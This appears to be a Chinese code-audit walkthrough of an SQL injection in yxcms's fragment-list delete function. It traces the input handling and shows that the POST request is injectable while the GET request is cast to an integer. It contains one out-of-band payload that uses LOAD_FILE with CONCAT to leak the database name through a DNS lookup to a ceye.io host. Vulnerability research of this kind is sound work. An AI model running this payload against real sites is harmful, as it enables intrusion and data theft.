代码审计步骤
确定用户的输入
用户输入的处理
输出的处理和位置
yxcms的sql注入漏洞
漏洞存在于碎片列表删除这个功能
设置好断点
在这里设置断点是因为ajax使用的是get请求
点击删除功能,再一步一步跟进
跳过model和table方法,看到这的delet方法
继续跟进_parseCondition方法
继续跟进parseCondition方法
这里会把数组的值都转换为id=escape($value) AND ...
继续跟进escapte方法
继续跟进_getReadLink方法
发现是进行数据库相关操作
继续跟进后,发现只对数据进行了mysql_real_escape_string操作
抓包看一下
这里有两个删除操作,可能一个是post一个不是post,由del方法猜测
上面一个删除操作是GET方法,下面一个是POST方法
构造Payload
select LOAD_FILE((CONCAT('\',(SELECT DATABASE()),'.xxx.ceye.ioabc')))
成功测试
POST可以实现注入,但GET方法不行
原因:
这里会将id强行转换为整数。
参考:https://www.freebuf.com/column/162886.html